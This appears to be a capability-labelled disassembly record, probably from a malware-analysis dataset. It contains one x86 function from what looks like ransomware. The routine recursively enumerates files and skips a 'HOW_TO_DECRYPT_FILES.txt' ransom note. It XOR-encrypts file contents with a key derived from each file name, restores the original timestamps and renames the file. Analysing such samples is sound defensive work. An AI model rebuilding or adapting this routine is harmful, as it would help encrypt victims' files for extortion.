Function at 0x4013a8
Capabilities:
Encode data using xor
Enumerate files on windows
Enumerate files recursively
Get file size
Move file
Read file on windows
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
lea eax, [ebp - 0x144]
push eax
push 0x404450
call sub.KERNEL32.DLL_FindFirstFileA
inc eax
je 0x401746
dec eax
mov dword [ebp - 6], eax
mov eax, dword [ebp - 0x144]
and eax, 0x10
je 0x40146d
lea eax, [ebp - 0x118]
push eax
push 0x404032
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x401727
lea eax, [ebp - 0x118]
push eax
push 0x404034
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x401727
push 0x404450
call sub.shlwapi.dll_PathFindFileNameA
sub eax, 0x404450
push eax
mov byte [eax + 0x404450], 0
lea eax, [ebp - 0x118]
push eax
push 0x404450
call sub.KERNEL32.DLL_lstrcatA
push 0x404450
call sub.KERNEL32.DLL_lstrlenA
mov dword [eax + 0x404450], 0x2a2e2a5c
mov byte [eax + 0x404454], 0
call fcn.004013a8
pop eax
mov dword [eax + 0x40444f], 0x2a2e2a5c
mov byte [eax + 0x404453], 0
jmp 0x401727
call fcn.00401377
lea eax, [ebp - 0x118]
push eax
push 0x404043
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x401727
lea eax, [ebp - 0x118]
push eax
push str.HOW_TO_DECRYPT_FILES.txt
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x401727
lea eax, [ebp - 0x118]
push eax
push 0x406df9
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x401727
push 0x404450
call sub.shlwapi.dll_PathFindFileNameA
sub eax, 0x404450
mov byte [eax + 0x404450], 0
mov al, byte [0x40752a]
cmp al, 1
jne 0x4014e6
push 0x404450
call fcn.0040103a
lea ebx, [ebp - 0x118]
push ebx
push 0x404450
call sub.KERNEL32.DLL_lstrcatA
cmp byte [0x406550], 1
jne 0x40151b
push 0x405050
push 0x404450
call sub.shlwapi.dll_PathMatchSpecA
cmp eax, 1
je 0x40154b
jmp 0x401727
mov edi, dword [0x407519]
mov ecx, dword [edi]
add edi, 4
push ecx
push edi
push 0x404450
call sub.shlwapi.dll_PathMatchSpecA
mov ebx, eax
push edi
call sub.KERNEL32.DLL_lstrlenA
add edi, eax
inc edi
pop ecx
cmp ebx, 1
je 0x40154b
dec ecx
jne 0x401526
jmp 0x401727
push 0x404450
push 0x404950
call sub.KERNEL32.DLL_lstrcpyA
cmp byte [0x406550], 0
jne 0x401593
push 0x404450
push 0x405b50
call sub.KERNEL32.DLL_lstrcpyA
push 0x404032
push 0x405b50
call sub.KERNEL32.DLL_lstrcatA
push dword [0x407521]
push 0x405b50
call sub.KERNEL32.DLL_lstrcatA
jmp 0x4015c9
cmp byte [0x406550], 1
jne 0x4015ba
push 0x404450
push 0x405b50
call sub.KERNEL32.DLL_lstrcpyA
push 0x405b50
call sub.shlwapi.dll_PathFindExtensionA
mov byte [eax], 0
jmp 0x4015c9
push 0x404450
push 0x405b50
call sub.KERNEL32.DLL_lstrcpyA
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x404950
call sub.KERNEL32.DLL_CreateFileA
inc eax
test eax, eax
je 0x401727
dec eax
mov dword [0x406551], eax
push 0
push dword [0x406551]
call sub.KERNEL32.DLL_GetFileSize
mov dword [0x406555], eax
cmp eax, 8
jge 0x401618
push dword [0x406551]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x401727
push 0x40753e
push 0x407536
push 0x40752e
push dword [0x406551]
call sub.KERNEL32.DLL_GetFileTime
push 0
push 0
push dword [0x4065a9]
push dword [0x406551]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x40655d
push dword [0x4065ad]
push dword [0x406559]
push dword [0x406551]
call sub.KERNEL32.DLL_ReadFile
cmp dword [0x40655d], 0
jne 0x401673
jmp 0x4016f3
push 0x404950
call sub.shlwapi.dll_PathFindFileNameA
mov dl, byte [eax]
mov ecx, 0x10
mov esi, 0x406595
mov edi, 0x406585
lodsb al, byte [esi]
xor al, dl
rol dl, 1
stosb byte es:[edi], al
loop 0x40168e
mov eax, dword [0x40655d]
cmp byte [0x40752c], 0
jne 0x4016ab
call fcn.00401748
jmp 0x4016c0
cmp byte [0x406550], 0
jne 0x4016bb
call fcn.0040177a
jmp 0x4016c0
call fcn.00401797
push 0
push 0
push dword [0x4065a9]
push dword [0x406551]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x406561
push dword [0x40655d]
push dword [0x406559]
push dword [0x406551]
call sub.KERNEL32.DLL_WriteFile
push 0x40753e
push 0x407536
push 0x40752e
push dword [0x406551]
call sub.KERNEL32.DLL_SetFileTime
push dword [0x406551]
call sub.KERNEL32.DLL_CloseHandle
push 0x405b50
push 0x404950
call sub.KERNEL32.DLL_MoveFileA
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 6]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x4013cd
push dword [ebp - 6]
call sub.KERNEL32.DLL_FindClose
leave
ret